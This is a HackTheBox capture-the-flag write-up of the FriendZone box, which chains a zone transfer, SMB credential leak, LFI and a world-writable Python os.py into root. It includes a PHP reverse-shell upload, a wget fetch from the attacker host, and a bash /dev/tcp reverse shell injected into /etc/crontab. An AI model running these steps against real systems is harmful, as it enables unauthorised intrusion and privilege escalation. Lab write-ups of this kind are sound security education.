Skip to content

FriendZone Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

FriendZone is a Linux box built on a chain of small misconfigurations. The chain runs: a TLS certificate that leaks the real domain, an open zone transfer that leaks the subdomains behind it, admin credentials sitting on an anonymous SMB share, a local file inclusion driven by the wrong looking parameter, a world-writable share that lands files where the include can reach them, and a world-writable os.py that a root cron job imports.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:21
Open $TARGET_IP:22
Open $TARGET_IP:53
Open $TARGET_IP:80
Open $TARGET_IP:139
Open $TARGET_IP:443
Open $TARGET_IP:445
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p21,22,53,80,139,443,445 $TARGET_IP -oA nmap/nmap
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/https   Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: FRIENDZONE; OSs: Unix, Linux

Host script results:
| smb-security-mode:
|   account_used: guest
|_  message_signing: disabled (dangerous, but default)
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p21,22,53,80,139,443,445 Limit the scan to the ports rustscan already found open.

Three things to carry forward. Samba answers as guest, BIND is listening on 53, and the TLS certificate names friendzone.red, which is the real domain behind the raw address. The site on port 80 also advertises a contact address at friendzoneportal.red. Both names go in /etc/hosts, and an authoritative nameserver next to a known zone name means testing AXFR first.

Enumeration

Zone transfer

┌──(kali㉿kali)-[~]
└─$ dig axfr @$TARGET_IP friendzone.red
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.         604800  IN      AAAA    ::1
friendzone.red.         604800  IN      NS      localhost.
friendzone.red.         604800  IN      A       127.0.0.1
administrator1.friendzone.red. 604800 IN A      127.0.0.1
hr.friendzone.red.      604800  IN      A       127.0.0.1
uploads.friendzone.red. 604800  IN      A       127.0.0.1
Explain command
axfr friendzone.red Request the full zone instead of a single record.
@$TARGET_IP Send the query to the target nameserver.

Three subdomains that are linked nowhere on the public site. They all point at loopback in the zone data, which means Apache separates them by virtual host, so they need to be added to /etc/hosts against the real address to be reachable.

$TARGET_IP  friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red

hr returns a 404, so no vhost is configured for it. uploads is a decoy upload page with nothing behind it. administrator1 serves a real login form, which needs credentials.

Anonymous SMB

┌──(kali㉿kali)-[~]
└─$ smbmap -H $TARGET_IP -u '' -p ''
Disk                        Permissions     Comment
----                        -----------     -------
print$                      NO ACCESS       Printer Drivers
Files                       NO ACCESS       FriendZone Samba Server Files /etc/Files
general                     READ ONLY       FriendZone Samba Server Files
Development                 READ, WRITE     FriendZone Samba Server Files
IPC$                        NO ACCESS       IPC Service (FriendZone server (Samba, Ubuntu))
Explain command
-u '' -p '' Authenticate with an empty username and password to test null sessions.

Two shares are reachable without credentials, and the comment on Files gives away its path on disk, /etc/Files. Shares here are named after directories directly under /etc, so Development, which is writable, is almost certainly /etc/Development. That matters later. First, the readable share.

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/general -N
smb: \> ls
  creds.txt                           N       57  Tue Oct  9 23:52:42 2018
smb: \> get creds.txt
Explain command
-N Connect without a password.
┌──(kali㉿kali)-[~]
└─$ cat creds.txt
creds for the admin THING:

admin:$ADMINS_PASSWORD

Those credentials log into https://administrator1.friendzone.red/, which points at dashboard.php.

Vulnerability Discovery

The parameter that actually matters

The dashboard asks for an image_id and mentions a default of image_id=a.jpg&pagename=timestamp. Supplying both returns the timestamp output, and changing image_id changes nothing. pagename is the parameter with server side effect, and content discovery shows why.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u https://administrator1.friendzone.red/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -k -x php -t 50
images               (Status: 301) [--> https://administrator1.friendzone.red/images/]
login.php            (Status: 200)
dashboard.php        (Status: 200)
timestamp.php        (Status: 36)
Explain command
-k Skip certificate validation on the self signed TLS.
-x php Also try the php extension on every wordlist entry.
-t 50 Run 50 concurrent requests.

timestamp.php exists and matches pagename=timestamp exactly, so the backend is appending .php to the value and including it.

include($_GET['pagename'] . ".php");

Nothing sanitises that path, so any .php file on the filesystem can be included. Combined with the writable SMB share mapping to /etc/Development, that turns a file read primitive into code execution.

Exploitation

Writing a shell through SMB

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/development -N
smb: \> put php-reverse-shell.php
putting file php-reverse-shell.php as \php-reverse-shell.php (4.4 kB/s)

The include runs without the extension, because the application adds it.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 58332
Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Foothold as www-data.

Privilege Escalation

Watching for scheduled tasks

pspy polls /proc, which is world readable, so an unprivileged user can watch processes appear without any special rights. That is the fastest way to see cron.

www-data@FriendZone ~ $ wget http://$ATTACKER_IP/pspy64s
www-data@FriendZone ~ $ chmod +x pspy64s
www-data@FriendZone ~ $ ./pspy64s
CMD: UID=0    PID=3870   | /usr/bin/python /opt/server_admin/reporter.py
CMD: UID=0    PID=3869   | /bin/sh -c /opt/server_admin/reporter.py
CMD: UID=0    PID=3868   | /usr/sbin/CRON -f
www-data@FriendZone ~ $ cat /opt/server_admin/reporter.py
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address
<snip>
# I need to edit the script later
# Sam ~ python developer

The script runs as root every two minutes and does nothing useful, but the print statement without parentheses means it runs under Python 2, and it imports os. Which os.py gets loaded depends on the module search path and on file permissions.

A world-writable standard library

www-data@FriendZone ~ $ ls -la /usr/lib/python3.6/os.py /usr/lib/python2.7/os.py
-rw-r--r-- 1 root root 37526 Sep 12  2018 /usr/lib/python3.6/os.py
-rwxrwxrwx 1 root root 25910 Jan 15  2019 /usr/lib/python2.7/os.py

The Python 3 copy is locked down, the Python 2 copy is mode 777, and Python 2 is exactly what the cron job uses. Overwriting it means the next import executes whatever it contains as root. Appending a cron entry is more reliable than replacing the module wholesale, because the rest of the system keeps working.

import os
f = open("/etc/crontab", "a")
f.write("* * * * * root /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\"\n")
f.close()
www-data@FriendZone ~ $ cp /tmp/os.py /usr/lib/python2.7/os.py
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 40920
bash: no job control in this shell
root@FriendZone:~# whoami
root

Root within a minute of the next cron run. User and root are both covered.

References